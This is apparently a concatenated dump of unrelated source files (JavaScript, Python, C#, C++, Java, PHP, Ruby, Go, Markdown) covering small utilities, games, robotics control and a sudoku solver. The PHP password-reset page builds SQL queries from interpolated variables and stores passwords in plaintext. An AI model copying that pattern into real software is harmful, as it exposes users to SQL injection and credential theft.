searchCopilotByURI(copilotHostname, uri) { return function () { return fetchCopilotData(copilotHostname, `api/search?view=edit&uri=${uri}`); } } /* Listen for the content-script to send digitalData if it exists */ chrome.runtime.onMessage.addListener(function (msg, sender) { findCopilotContent(sender.tab); }); /* On Click - open the saved Copilot URL */ chrome.browserAction.onClicked.addListener(function(tab) { chrome.storage.sync.get(`url${tab.id}`, function(value) { chrome.tabs.create({url: value[`url${tab.id}`]}); }); }); /* Disable the browserAction on start */ chrome.browserAction.disable();
Python
UTF-8
284
3.75
4
[ "MIT" ]
permissive
Code: a = int(input()) if a == 0: print(0) else: fib_prev, fib_next = 0, 1 n = 1 while fib_next <= a: if fib_next == a: print(n) break fib_prev, fib_next = fib_next, fib_prev + fib_next n += 1 else: print(-1)
C#
UTF-8
1,457
2.6875
3
[]
no_license
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using UnityEngine; namespace Assets.Scripts.NData { [System.Serializable] public class Request<T> { [SerializeField] private T m_Data; [SerializeField] private bool m_IsHandled; public bool IsHandled { get { return m_IsHandled; } } public Request() { m_Data = default; m_IsHandled = true; } public Request(T data) { m_Data = data; m_IsHandled = false; } public void SetRequest(T data) { m_Data = data; m_IsHandled = false; } public T Handle(bool SetHandled = true) { if (m_IsHandled == false) { if (SetHandled == true) { m_IsHandled = true; } return m_Data; } else { return default; } } public bool TryHandle(out T reqData, bool SetHandled = true) { if (m_IsHandled == false) { reqData = m_Data; if (SetHandled == true) { m_IsHandled = true; } return true; } else { reqData = default; return false; } } } }
C++
UTF-8
1,209
2.953125
3
[]
no_license
#include "camera.hpp" #include "exp/constants.hpp" namespace Exp { namespace Game { auto Camera::instance() noexcept -> Camera& { static Camera camera; return camera; } void Camera::add_usertype(sol::state_view state) { if (state[Lua::Usertypes::Game::CAMERA].get_type() == sol::type::none) { state.new_usertype<Camera>( Lua::Usertypes::Game::CAMERA, "instance", &Camera::instance, "set_ortho", &Camera::set_ortho, "move_to", &Camera::move_to, "get_projection", &Camera::get_projection, "get_view", &Camera::get_view); } } void Camera::set_ortho(float left, float right, float bottom, float top, float near, float far) { this->proj = glm::ortho(left, right, bottom, top, near, far); } void Camera::move_to(glm::vec3 loc) { this->view = glm::lookAt(loc - glm::vec3(0, 0, -1), loc, glm::vec3(0, 1, 0)); } auto Camera::get_projection() -> glm::mat4 { return this->proj; } auto Camera::get_view() -> glm::mat4 { return this->view; } } // namespace Game } // namespace Exp
Java
UTF-8
965
2.234375
2
[]
no_license
package com.example.alexdriedger.pianotime; import android.os.Bundle; import android.support.v7.app.AppCompatActivity; import android.util.Log; import android.view.View; import android.widget.Button; import java.io.BufferedWriter; import java.io.IOException; import java.io.OutputStream; import java.io.OutputStreamWriter; import java.net.Socket; import java.net.UnknownHostException; /** * Created by ryan on 2018/4/5. */ public class ServerActivity extends AppCompatActivity { Button button_send_file; @Override protected void onCreate(Bundle savedInstanceState){ super.onCreate(savedInstanceState); button_send_file = findViewById(R.id.button_send_file); button_send_file.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { SocketThread tem = new SocketThread("abc"); tem.start(); } }); } }
C++
UTF-8
1,421
2.75
3
[]
no_license
// // Created by Student on 27/04/17. // #ifndef JIMP_EXERCISES_PESEL_H #define JIMP_EXERCISES_PESEL_H #include <string> using std::string; namespace academia { class Pesel { public: Pesel(const string &pesel): pesel_(pesel){ validatePESEL(pesel_); }; private: string pesel_; void validatePESEL(const string &pesel); }; class AcademiaDataValidationError: public std::runtime_error{ public: AcademiaDataValidationError(const string &arg): std::runtime_error(arg){}; }; class InvalidPeselLength: public AcademiaDataValidationError{ public: InvalidPeselLength(const string &pesel, int length): AcademiaDataValidationError("Invalid PESEL(" + pesel + ") length: " + std::to_string(pesel.size())){}; }; class InvalidPeselCharacter: public AcademiaDataValidationError{ public: InvalidPeselCharacter(const string &pesel): AcademiaDataValidationError("Invalid PESEL(" + pesel + ") character set"){}; }; class InvalidPeselChecksum: public AcademiaDataValidationError{ public: InvalidPeselChecksum(const string &pesel, int sum): AcademiaDataValidationError("Invalid PESEL(" + pesel + ") checksum: " + std::to_string(sum)){}; }; } #endif //JIMP_EXERCISES_PESEL_H
C++
UTF-8
740
3.296875
3
[]
no_license
/* * 07_array_vec.cpp * * author : Sreejith S * email : echo $(base64 -d <<< NDQ0bGhjCg==)@gmail.com * date : Sat 26 Aug 2017 05:52:10 IST * ver : * */ #include <iostream> #include <vector> using std::cout; using std::cin; using std::endl; int main() { int n{}; cin >> n; std::vector<int> vec(0); for(int i = 0; i < n; i++) { int input{}; cin >> input; vec.push_back(input); } for(auto rit = vec.rbegin(); rit != vec.rend(); rit++) { cout << *rit << " "; } cout <<endl; //method 2 - creating a reverse vector std::vector<int> rvec(vec.rbegin(), vec.rend()); for (auto i : rvec) cout << i << " "; cout <<endl; return 0; }
PHP
UTF-8
4,309
2.71875
3
[]
no_license
<?php include_once 'Database.php'; include_once 'forgotpassprocess.php'; if(isset($_POST['verify'])){ function validate($cdata){ $cdata = trim($cdata); $cdata = stripslashes($cdata); $cdata = htmlspecialchars($cdata); return $cdata; } $new_pass = validate ($_POST['new_password']); $confirm_pass = validate ($_POST['confirm_password']); $pass_id = $_SESSION['userid']; $checker = 0; date_default_timezone_set('Asia/Manila'); $cp_date = date("Y-m-d"); $_SESSION['codetranstime'] = $cp_codetime = date("h:i:s"." a"); //check pass if(($new_pass==null)&&($confirm_pass==null)){ echo nl2br("<p align=center><font color=white face='arial' size='3pt'>Input New Password and Confirm Password. </font></p></font></p>"); $checker=1; } else if($new_pass == null){ echo nl2br("<p align=center><font color=white face='arial' size='3pt'>Input New Password. </font></p></font></p>"); $checker=1; } else if($confirm_pass == null){ echo nl2br("<p align=center><font color=white face='arial' size='3pt'>Input Confirm Password. </font></p></font></p>"); $checker=1; } else{ if(!preg_match("@[0-9]@", $new_pass)){ echo nl2br("<p align=center><font color=white face='arial' size='3pt'>Password should contain at least 1 digit. </font></p>"); $checker=1; } if(!preg_match("@[A-Z]@", $new_pass)){ echo nl2br("<p align=center><font color=white face='arial' size='3pt'>Password should contain at least 1 uppercase. </font></p>"); $checker=1; } if(!preg_match("@[a-z]@", $new_pass)){ echo nl2br("<p align=center><font color=white face='arial' size='3pt'>Password should contain at least 1 lowercase. </font></p>"); $checker=1; } if(!preg_match("@[^\w]@", $new_pass)){ echo nl2br("<p align=center><font color=white face='arial' size='3pt'>Password should contain at least 1 special character. </font></p>"); $checker=1; } if(!preg_match("/.{8,}/", $new_pass)){ echo nl2br("<p align=center><font color=white face='arial' size='3pt'>Password should be at least 8 characters. </font></p>"); $checker=1; } } if($checker==0){ if($new_pass == $confirm_pass){ $changepass_event = "INSERT INTO event_log (event_id, activity, user_id, event_date, event_time) VALUES ('null', 'Changed Password', '$pass_id', '$cp_date', '$cp_codetime')"; $insertstatement_event = mysqli_query($conn,$changepass_event); $updatepass = "UPDATE user SET u_password='$confirm_pass', u_confirmpassword='$confirm_pass' WHERE user_id='$pass_id'"; $insertstatement_event = mysqli_query($conn,$updatepass); echo '<script type="text/javascript">'; echo 'alert("Password Successfully Changed!");'; echo 'window.location.href = "Index.php";'; echo '</script>'; } else{ echo nl2br ("<p align=center><font color=white face='arial' size='3pt'>Password didn't matched</font></p></font></p>"); } } } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Forgot Password</title> <link rel="stylesheet" href="style.css"> </head> <body> <h2 align="center" style="font-size:80px; font-family:'Brush Script MT'; color:white;">Chi Music</h2> <br> <h1 align="center" style="font-size:20px; font-family:'Helvetica'; color:white;">Connect with your musician friends and the world</h1> <h1 align="center" style="font-size:20px; font-family:'Helvetica'; color:white;">around you on Chi Music</h1> <form action="" method="POST"> <table id="div1"> <tr> <td style="font-size:20px; color:white;">New Password:</td> <td><input type="text" name="new_password" placeholder="Enter New Password"></td> </tr> <tr> <td style="font-size:20px; color:white;">Confirm Password:</td> <td><input type="text" name="confirm_password" placeholder="Enter Confirm Password"></td> </tr> </table> <button class="buttonL btn button1" name="verify" value="verify" >Submit</button> </form> </body> </html>
Ruby
UTF-8
739
3.5625
4
[]
no_license
# abstract_class class Report def initialize @title = "html report title" @text = [ 'report line 1', 'report line 2', 'report line 3' ] end def output_report output_start output_body output_end end def output_start end def output_body @text.each do |line| output_line(line) end end def output_line(line) raise 'called abstract method!' end def output_end end end # ConcreteClass class HTMLReport < Report def output_start puts "<html><title>#{@title}</title><body>" end def output_line(line) puts "<p>#{line}</p>" end def output_end puts '</body></html>' end end html_report = HTMLReport.new html_report.output_report
Markdown
UTF-8
1,288
2.578125
3
[]
no_license
# build Русский текст смотри ниже. The tool for automatic compilation C++ source code. Presented in open soure, licence TDB. To build the tool in linux you need to run compile.sh scrtipt. To build it manualy: g++ *.cpp -o build -g -Wall -std=c++1y How you use it: * Copy binary file "build" and config file "build.cfg" into the folder with your project * run ./build * As output you will get binary file (for instance "opengl") * Run built "opengl". Enjoy! Утилита для автоматической компиляции исходных кодов на с++, предоставляется в открытом виде. Для сборки утилиты в операционной системе Linux достаточно запустить скрипт compile.sh Команда для сборки вручную: g++ *.cpp -o build -g -Wall -std=c++1y Инструкция по использованию: * Скорировать запускаемый файл "build" и кофигурационный файл "build.cfg" в папку с проектом. * Запустить ./build * На выходе получаем бинарный файл "opengl". * Запускаем собранный "opengl". Радуемся жизни.
Python
UTF-8
8,384
2.671875
3
[]
no_license
import sys, argparse, matplotlib, os from matplotlib import pyplot as plt from collections import defaultdict import numpy as np from mpl_toolkits.axes_grid1.inset_locator import inset_axes import matplotlib.ticker as mticker # INPUT : - reference sequence (cryptogene) # - alignments in TAF format # - figure size (reference start:end) def GetOptParser(): optionParser = argparse.ArgumentParser() optionParser.add_argument('--r', '--fa', action='store', help="Reference fasta file [needs reference name if multifasta is given]") optionParser.add_argument('--o', '--out', action='store', help="Output pdf/png file name") optionParser.add_argument('--l', '--loc', action='store', help="Locus of reference to plot [1-based reference coordinates]") optionParser.add_argument('--t', '--taf', action='store', help="File with read alignments in TAF format") optionParser.add_argument('--n', '--ref', action='store', help="Name of the fasta record") optionParser.add_argument('--g', '--gt', action='store', help="Type of the graph: bars, dots, prod") return optionParser def ReadFasta(input_lines, split_space = False): fasta_data = [] for line in input_lines: line = line.rstrip() if len(line) < 1: continue if line[0] == '>': if split_space == False: fasta_data.append([line[1:],'']) else: fasta_data.append([line[1:].split(' ')[0],'']) else: fasta_data[-1][1] += line.lstrip().rstrip().upper() for i, entry in enumerate(fasta_data): fasta_data[i].append(len(entry[1])) return fasta_data if __name__ == '__main__': runArgs = GetOptParser().parse_args(sys.argv[1:]) inputFastaData = None if runArgs.r is not None: if os.path.isfile(runArgs.r): inputFastaData = open(runArgs.r, 'r').readlines() else: sys.stderr.write('No reference file found or -r option missing!') exit() fastaEntries = ReadFasta(inputFastaData) inputFastaName = 0 if runArgs.n is not None: for i, n in enumerate(fastaEntries): if n[0] == runArgs.n: inputFastaName = i break referenceSequence = fastaEntries[inputFastaName][1] # get cryptogene reference length ref_tless_length = 0 for i in referenceSequence.lstrip().rstrip().upper(): if i != 'T': ref_tless_length += 1 # fill matrices with zero values es_read_matrix = [] es_productive_matrix = [] for y in range(-20, 20): es_read_matrix.append([0 for x in range(ref_tless_length)]) es_productive_matrix.append([-0.01 for x in range(ref_tless_length)]) # read TAF inputTafFile = '' if runArgs.t is not None: if os.path.isfile(runArgs.t): inputTafFile = runArgs.t else: sys.stderr.write('No TAF alignments file found or -t option missing!') exit() with open(inputTafFile, 'r') as ifile: for line in ifile: toks = line.split('\t') s = int(toks[2]) es = [int(x) for x in toks[4][:-1].split(';')[1:-2]] # skip VERY long insertions skip = False for ess in es: if ess > 20: skip = True break if skip: continue # detect if editing drops to reference (cutoff 7) for p, ess in enumerate(es): if s + p >= ref_tless_length: continue es_read_matrix[20-ess][s + p] += 1 if p > 7: if es[p-8:p] == [0, 0, 0, 0, 0, 0, 0, 0]: es_productive_matrix[20-ess][s + p] += 1 l_from = 0 l_to = ref_tless_length if runArgs.l is not None: f, t = str(runArgs.l).split(',') l_from = int(f) l_to = int(t) #plt.figure(figsize=[(l_to-l_from) / 8, 6]) plt.figure(figsize=[ref_tless_length / 6, 12]) plt.gcf().set_dpi(300) graph_type = 'bars' if runArgs.g is not None: graph_type = str(runArgs.g) if graph_type == 'prod': xi = [] yi = [] zi = [] for y in range(len(es_productive_matrix)): for x in range(len(es_productive_matrix[0][l_from:l_to])): xi.append(10.0 * x) yi.append(410 - 10.0 * y) if y != 20 and es_read_matrix[y][x] > 20: zi.append(es_productive_matrix[y][x] / (1.0+es_read_matrix[y][x])) else: zi.append(0) plt.plot([10.0 * l_from - 10.0, 10.0 * l_to + 10.0],[210,210], c='#a1d76a', lw=10, alpha=0.3) plt.scatter(xi,yi, c=zi, cmap='Oranges', s=10.0) #plt.plot(main_orf_X, main_orf_Y, color='#a1d76a', lw=3) if graph_type == 'dots': xi = [] yi = [] zi = [] for y in range(len(es_read_matrix)): for x in range(len(es_read_matrix[0][l_from:l_to])): xi.append(10.0 * x) yi.append(410 - 10.0 * y) if y != 20 and es_read_matrix[y][x] > 20: zi.append(es_read_matrix[y][x]) else: zi.append(0) plt.plot([10.0 * l_from - 10.0, 10.0 * l_to + 10.0],[210,210], c='#a1d76a', lw=10, alpha=0.3) scatter_tal = plt.scatter(xi,yi, c=zi, cmap='Greens', s=80.0, norm=matplotlib.colors.LogNorm()).set_zorder(20) ax = plt.gca() x_ticks_list = [x for x in range(10 * 25, 10 * ref_tless_length - 100, 10 * 25)] #x_ticks_labels = ['{}'.format(int(x/10.0)) for x in x_ticks_list]; x_ticks_labels[-1] = x_ticks_labels[-1] + ' nonT' x_ticks_labels = ['{} nt'.format(int(x/10.0)) for x in x_ticks_list] ax.set_xticks(x_ticks_list) ax.set_xticklabels(x_ticks_labels) plt.xticks(fontsize=36, fontweight='bold') ax.grid(linestyle='-', linewidth=3, which='both') plt.xlim(-10.0, 10.0 * ref_tless_length + 10.0) #ax.set_ylabel('Editing state',fontsize=25, fontweight='bold') ax.set_yticks((90, 120, 150, 180, 210, 240, 270, 300, 330)) ax.set_yticklabels(('-12 U', '-9 U', '-6 U', '-3 U', 'ref', '+3 U', '+6 U', '+9 U', '+12 U')) plt.yticks(fontsize=36, fontweight='bold') ax1 = inset_axes(ax, width="15%", height="3%", loc='lower right') cbar = plt.colorbar(scatter_tal, cax=ax1, orientation="horizontal") ax1.xaxis.set_ticks_position("top") ax1.xaxis.set_tick_params(width=5) if graph_type == 'bars': covi = [0.0 for x in range(len(es_read_matrix[0][l_from:l_to]))] edii = [0.0 for x in range(len(covi))] xi = [10.0*x for x in range(len(covi))] for y in range(len(es_read_matrix)): for x in range(len(covi)): if y == 20: covi[x] += es_read_matrix[y][x] else: edii[x] += es_read_matrix[y][x] font = {'family': 'serif', 'color': 'black', 'weight': 'normal', 'size': 56 } p1 = plt.bar(xi, covi, width=10.0, alpha=1) p2 = plt.bar(xi, edii,bottom=covi, width=10.0, alpha=1) ax = plt.gca() x_ticks_list = [x for x in range(10 * 25, 10 * ref_tless_length - 100, 10 * 25)] x_ticks_labels = ['{}'.format(int(x/10.0)) for x in x_ticks_list]; x_ticks_labels[-1] = x_ticks_labels[-1] + ' nonT' ax.set_xticks(x_ticks_list) ax.set_xticklabels(x_ticks_labels, fontdict=font) plt.xlim(0, 10.0 * ref_tless_length) ax.tick_params(axis='y', which='both', labelsize=56) ax.set_ylabel('Reads',fontdict=font) prop_cycle = plt.rcParams['axes.prop_cycle'] colors = prop_cycle.by_key()['color'] legend_elements = [matplotlib.lines.Line2D([0], [0], color=colors[0], lw=60, label='unedited reads'), matplotlib.lines.Line2D([0], [0], color=colors[1], lw=60, label='edited reads')] ax.legend(handles=legend_elements, loc='upper right', fontsize=56) output_pic = 'output.pdf' if runArgs.o is not None: output_pic = str(runArgs.o) plt.savefig(output_pic)
Go
UTF-8
798
3.59375
4
[]
no_license
// Package geometry provides simple primitives for 2D geometry. package geometry import "math" type vector struct { x, y float64 } func (a vector) add(b vector) vector { return vector{a.x + b.x, a.y + b.y} } func (a vector) subtract(b vector) vector { return vector{a.x - b.x, a.y - b.y} } func (a vector) scale(b float64) vector { return vector{a.x * b, a.y * b} } func (a vector) normalLeft() vector { return vector{-1 * a.y, a.x} } func (a vector) normalRight() vector { return vector{a.y, -1 * a.x} } func (a vector) magnitude() float64 { return math.Hypot(a.x, a.y) } func (a vector) unit() vector { magnitude := a.magnitude() return vector{a.x / magnitude, a.y / magnitude} } var up = vector{0, 1} var down = vector{0, -1} var left = vector{-1, 0} var right = vector{1, 0}
Python
UTF-8
425
3.796875
4
[]
no_license
def alphabet_position(letter): if letter.isupper(): letter = ord(letter) - ord('A') elif letter.islower(): letter = ord(letter) - ord('a') return letter def rotate_character(char, rot): if char.isalpha: charp = alphabet_position(char) code = (((rot + charp) % 26) + ord('a')) code = chr(code) if char.isupper(): code = code.upper() return code
Java
UTF-8
832
3.46875
3
[]
no_license
package sabotage.core.commands; import java.util.ArrayList; import sabotage.core.Player; import sabotage.core.cards.Card; public class DiscardCommand implements Command { private Player player; private Card card; private ArrayList<Card> hand; /*** * A command for when a player discards a card. * Also allows undo, which will add the card back to the player's hand. * @param player The player who is discarding the card * @param card The card to be discarded */ public DiscardCommand(Player player, Card card) { this.player = player; this.hand = new ArrayList<Card>(); for (Card c : player.getHand()) { this.hand.add(c); } this.card = card; } @Override public void execute() { player.removeCardFromHand(card); } @Override public void undo() { player.replaceHand(hand); } }
Markdown
UTF-8
1,753
3.84375
4
[]
no_license
# 037-sudoku-solver ## Question {#question} [https://leetcode.com/problems/sudoku-solver/description/](https://leetcode.com/problems/sudoku-solver/description/) Write a program to solve a Sudoku puzzle by filling the empty cells. Empty cells are indicated by the character`'.'`. You may assume that there will be only one unique solution. **Example:** ```text ``` ## Thought Process {#thought-process} 1. Trial by Error and Backtrack 1. Time complexity O\(9^m\), where m is number of blank cells 2. Space complexity O\(m\) ## Solution ```java class Solution { public void solveSudoku(char[][] board) { if (board == null || board.length != 9) return; solve(board); } private boolean solve(char[][] board) { for (int r = 0; r < 9; r++) { for (int c = 0; c < 9; c++) { if (board[r][c] == '.') { for (char i = '1'; i <= '9'; i++) { if (isValid(board, r, c, i)) { board[r][c] = i; if (solve(board)) return true; else board[r][c] = '.'; } } return false; } } } return true; } private boolean isValid(char[][] board, int r, int c, char i) { for (int j = 0; j < 9; j++) { if (board[r][j] != '.' && board[r][j] == i) return false; if (board[j][c] != '.' && board[j][c] == i) return false; if (board[(r / 3) * 3 + j / 3][(c / 3) *3 + j % 3] != '.' && board[(r / 3) * 3 + j / 3][(c / 3) *3 + j % 3] == i) return false; } return true; } } ``` ## Additional {#additional}
Java
UTF-8
360
3.140625
3
[]
no_license
public class FactorialTrailingZeroes{ public int trailingZeroes(int n) { int count = 0; for(long i = 5; i <= n; i*=5) count += (int)(n/i); return count; } public static void main(String args[]){ FactorialTrailingZeroes ftz= new FactorialTrailingZeroes(); System.out.println(ftz.trailingZeroes(75)); } }
Python
UTF-8
1,098
3.21875
3
[]
no_license
import random import numpy as np from numba import jit # def generateDiceThrows(maxRounds): # # return __normal(maxRounds) # # return __normalWithSixes(maxRounds) # return __higherThrowPropability(maxRounds) # @jit(nopython=True) def roll(): # return random.randint(1, 6) return (random.choices([1 ,2 ,3 ,4 ,5 ,6] ,[1 ,2 ,3 ,4 ,5 ,6]))[0] # # Version 1 - Random # def __normal(maxRounds): # diceThrows = [] # for i in range(0, maxRounds): # diceThrows.append(random.randint(1, 6)) # return diceThrows # # # Version 2 - Random but at least one 6 # def __normalWithSixes(maxRounds): # diceThrows = [] # while 6 not in diceThrows: # diceThrows = [] # for i in range(0,maxRounds): # diceThrows.append(random.randint(1,6)) # return diceThrows # # # Version 3 - Make a higher proportion 6's # def __higherThrowPropability(maxRounds): # diceThrows = np.zeros(maxRounds) # for i in range(0, maxRounds): # diceThrows[i] = ((random.choices([1 ,2 ,3 ,4 ,5 ,6] ,[1 ,2 ,3 ,4 ,5 ,6]))[0]) # return diceThrows
Markdown
UTF-8
2,906
2.546875
3
[]
no_license
[toc] # XGBoost ## 1. 西班牙数据集 train index: [6426, 10427] train_len: 4000 test index: [14389, 15390] test_len: 1000 - **输入特征:** ```python 'wind_speed', 'sin(wd)', 'cos(wd)', 【t期】 'wind_speed-1', 'sin(wd)-1','cos(wd)-1', 'wind_power-1'【t-1期】 ``` - **输出:**wind_power ### 1.1 寻找最大深度 max_depth = 2 <img src="/Users/apple/Documents/ML_Project/ML - 2.1/result/Tree_model/figure_XGBoost/Spain_max_depth.png" alt="Spain_max_depth" style="zoom:67%;" /> ### 1.2 n_estimators <img src="/Users/apple/Documents/ML_Project/ML - 2.1/result/Tree_model/figure_XGBoost/Spain_n_estimators.png" alt="Spain_n_estimators" style="zoom:67%;" /> 最终设置: ```python XGBRegressor(base_score=0.5, booster='gbtree', colsample_bylevel=1, colsample_bynode=1, colsample_bytree=1, gamma=0, importance_type='gain', learning_rate=0.1, max_delta_step=0, max_depth=2, min_child_weight=1, missing=None, n_estimators=100, n_jobs=4, nthread=None, objective='reg:linear', random_state=0, reg_alpha=0, reg_lambda=1, scale_pos_weight=1, seed=None, silent=None, subsample=1, verbosity=1) ``` test mse: 0.0026614413208772537 ![Spain_predict](/Users/apple/Documents/ML_Project/ML - 2.1/result/Tree_model/figure_XGBoost/Spain_predict.png) 与单纯决策树对比: ![output_10_1](/Users/apple/Documents/ML_Project/ML - 2.1/result/Tree_model/figure/output_10_1.png) ## 2. 美国数据集 train index: [3001, 7002] train_len: 4000 test index: [2000, 3001] test_len: 1000 - **输入特征:** ```python 'wind_speed', 'sin(wd)', 'cos(wd)', 【t期】 'wind_speed-1', 'sin(wd)-1','cos(wd)-1', 'wind_power-1'【t-1期】 ``` - **输出:**wind_power ### 2.1 寻找最大深度 max depth = 7 <img src="/Users/apple/Documents/ML_Project/ML - 2.1/result/Tree_model/figure_XGBoost/US_max_depth.png" alt="US_max_depth" style="zoom:67%;" /> ### 2.2 n_estimators <img src="/Users/apple/Documents/ML_Project/ML - 2.1/result/Tree_model/figure_XGBoost/US_n_estimators.png" alt="US_n_estimators" style="zoom:67%;" /> 最终设置: ```python XGBRegressor(base_score=0.5, booster='gbtree', colsample_bylevel=1, colsample_bynode=1, colsample_bytree=1, gamma=0, importance_type='gain', learning_rate=0.1, max_delta_step=0, max_depth=7, min_child_weight=1, missing=None, n_estimators=100, n_jobs=4, nthread=None, objective='reg:linear', random_state=0, reg_alpha=0, reg_lambda=1, scale_pos_weight=1, seed=None, silent=None, subsample=1, verbosity=1) ``` test mse : 2.1475904432718094e-05 ![US_predict](/Users/apple/Documents/ML_Project/ML - 2.1/result/Tree_model/figure_XGBoost/US_predict.png) 与单纯决策树对比: ![US-1.1.2](/Users/apple/Documents/ML_Project/ML - 2.1/result/Tree_model/figure/US-1.1.2.png)
C++
UTF-8
9,375
2.859375
3
[]
no_license
#include "../include/tracks_controller.h" #include <time.h> //---------------------------------------------------------------- t_tracks_controller::t_tracks_controller(void) { if (connect()) { printf("Connected to tracks...\n"); } if (setup()) { printf("Tracks setup complete...\n"); } } //---------------------------------------------------------------- bool t_tracks_controller::connect() { //connect to serial ports if (!wheels_motors_controller.connect(3, 115200)) { printf("Error attaching to Jenny 5' tracks!\n"); } // now wait to see if I have been connected // wait for no more than 3 seconds. If it takes more it means that something is not right, so we have to abandon it clock_t start_time = clock(); bool foot_responded = false; while (1) { if (!wheels_motors_controller.update_commands_from_serial()) Sleep(5); if (!foot_responded) if (wheels_motors_controller.query_for_event(IS_ALIVE_EVENT, 0)) // have we received the event from Serial ? foot_responded = true; if (foot_responded) break; // measure the passed time clock_t end_time = clock(); double wait_time = (double) (end_time - start_time) / CLOCKS_PER_SEC; // if more than 3 seconds then game over if (wait_time > NUM_SECONDS_TO_WAIT_FOR_CONNECTION) { if (!foot_responded) printf("Foot does not respond! Game over!\n"); return false; } } return true; } //---------------------------------------------------------------- bool t_tracks_controller::setup() { //create the motor controllers int wheels_motors_dir_pins[2] = { 2, 8 }; int wheels_motors_step_pins[2] = { 3, 9 }; int wheels_motors_enable_pins[2] = { 4, 10 }; wheels_motors_controller.send_create_stepper_motors(2, wheels_motors_dir_pins, wheels_motors_step_pins, wheels_motors_enable_pins); clock_t start_time = clock(); bool foot_motors_controler_created = false; while (1) { if (!wheels_motors_controller.update_commands_from_serial()) Sleep(5); if (!foot_motors_controler_created) if (wheels_motors_controller.query_for_event(STEPPER_MOTORS_CONTROLLER_CREATED_EVENT, 0)) // have we received the event from Serial ? foot_motors_controler_created = true; if (foot_motors_controler_created) break; // measure the passed time clock_t end_time = clock(); double wait_time = (double) (end_time - start_time) / CLOCKS_PER_SEC; // if more than 3 seconds then game over if (wait_time > NUM_SECONDS_TO_WAIT_FOR_CONNECTION) { if (!foot_motors_controler_created) printf("Cannot create foot's motor controller! Game over!\n"); return false; } } wheels_motors_controller.send_set_stepper_motor_speed_and_acceleration(MOTOR_tracks_LEFT, 1500, 500); wheels_motors_controller.send_set_stepper_motor_speed_and_acceleration(MOTOR_tracks_RIGHT, 1500, 500); return true; } //---------------------------------------------------------------- void t_tracks_controller::execute_commands_from_queue() { //extract movements for tracks // now extract the moves done from the queue if (wheels_motors_controller.get_stepper_motor_state(MOTOR_tracks_LEFT) == COMMAND_SENT) {// if a command has been sent if (wheels_motors_controller.query_for_event(STEPPER_MOTOR_MOVE_DONE_EVENT, MOTOR_tracks_LEFT)) { // have we received the event from Serial ? wheels_motors_controller.set_stepper_motor_state(MOTOR_tracks_LEFT, COMMAND_DONE); //printf("tracks: M%d# - done\n", MOTOR_tracks_LEFT); } } if (wheels_motors_controller.get_stepper_motor_state(MOTOR_tracks_RIGHT) == COMMAND_SENT) {// if a command has been sent if (wheels_motors_controller.query_for_event(STEPPER_MOTOR_MOVE_DONE_EVENT, MOTOR_tracks_RIGHT)) { // have we received the event from Serial ? wheels_motors_controller.set_stepper_motor_state(MOTOR_tracks_RIGHT, COMMAND_DONE); //printf("tracks: M%d# - done\n", MOTOR_tracks_RIGHT); } } } //---------------------------------------------------------------- double t_tracks_controller::get_distance_to_person() { return distance_to_person; } //---------------------------------------------------------------- double t_tracks_controller::get_maximum_distance_allowed() { return maximum_distance_allowed; } //---------------------------------------------------------------- double t_tracks_controller::get_minimum_distance_allowed() { return minimun_distance_allowed; } //---------------------------------------------------------------- void t_tracks_controller::set_distance_to_person(double new_distance) { distance_to_person = new_distance; } //---------------------------------------------------------------- void t_tracks_controller::set_maximum_distance_allowed(double new_distance) { maximum_distance_allowed = new_distance; } //---------------------------------------------------------------- void t_tracks_controller::set_minimum_distance_allowed(double new_distance) { minimun_distance_allowed = new_distance; } //---------------------------------------------------------------- double t_tracks_controller::get_modify_distance_by() { return modify_distance_by; } //---------------------------------------------------------------- void t_tracks_controller::set_modify_distance_by(double new_distance) { modify_distance_by = new_distance; } //---------------------------------------------------------------- int t_tracks_controller::compute_steps_from_distance(int current_distance, int limit) { int distance = abs(limit - current_distance); double big_wheel_diameter = 10, steps_per_rotation = 200, big_wheel_reduction = 5.13, small_wheel_reduction = 4; double x = (double) distance / (M_PI*big_wheel_diameter); x = x*steps_per_rotation; x = x*big_wheel_reduction; x = x*small_wheel_reduction; return (int) x; } //---------------------------------------------------------------- void t_tracks_controller::move_backwards(int current_distance, int limit) { //compute the number of steps the motors have to move, based on the distance from the sensor int num_steps = compute_steps_from_distance(current_distance, limit); wheels_motors_controller.send_move_stepper_motor(MOTOR_tracks_LEFT, -num_steps);//-1000); wheels_motors_controller.set_stepper_motor_state(MOTOR_tracks_LEFT, COMMAND_SENT); printf("move left tracks backwards: M%d %d# - sent\n", MOTOR_tracks_LEFT, -num_steps);//-1000); wheels_motors_controller.send_move_stepper_motor(MOTOR_tracks_RIGHT, num_steps);//1000); wheels_motors_controller.set_stepper_motor_state(MOTOR_tracks_RIGHT, COMMAND_SENT); printf("move right tracks backwards: M%d %d# - sent\n", MOTOR_tracks_RIGHT, num_steps);//1000); } //---------------------------------------------------------------- void t_tracks_controller::move_forward(int current_distance, int limit) { //compute the number of steps the motors have to move, based on the distance int num_steps = compute_steps_from_distance(current_distance, limit); wheels_motors_controller.send_move_stepper_motor(MOTOR_tracks_LEFT, num_steps);//1000); wheels_motors_controller.set_stepper_motor_state(MOTOR_tracks_LEFT, COMMAND_SENT); printf("move left tracks forward: M%d %d# - sent\n", MOTOR_tracks_LEFT, num_steps);//1000); wheels_motors_controller.send_move_stepper_motor(MOTOR_tracks_RIGHT, -num_steps);//-1000); wheels_motors_controller.set_stepper_motor_state(MOTOR_tracks_RIGHT, COMMAND_SENT); printf("move right tracks forward: M%d %d# - sent\n", MOTOR_tracks_RIGHT, -num_steps);//-1000); } //---------------------------------------------------------------- void t_tracks_controller::turn_left(int displacement) { wheels_motors_controller.send_move_stepper_motor2(MOTOR_tracks_LEFT, displacement, MOTOR_tracks_RIGHT, displacement); wheels_motors_controller.set_stepper_motor_state(MOTOR_tracks_LEFT, COMMAND_SENT); wheels_motors_controller.set_stepper_motor_state(MOTOR_tracks_RIGHT, COMMAND_SENT); printf("turn tracks left: M%d %d M%d %d# - sent\n", MOTOR_tracks_LEFT, displacement, MOTOR_tracks_RIGHT, displacement); } //---------------------------------------------------------------- void t_tracks_controller::turn_right(int displacement) { wheels_motors_controller.send_move_stepper_motor2(MOTOR_tracks_RIGHT, displacement, MOTOR_tracks_LEFT, displacement); wheels_motors_controller.set_stepper_motor_state(MOTOR_tracks_RIGHT, COMMAND_SENT); wheels_motors_controller.set_stepper_motor_state(MOTOR_tracks_LEFT, COMMAND_SENT); printf("turn tracks right: M%d %d M%d %d# - sent\n", 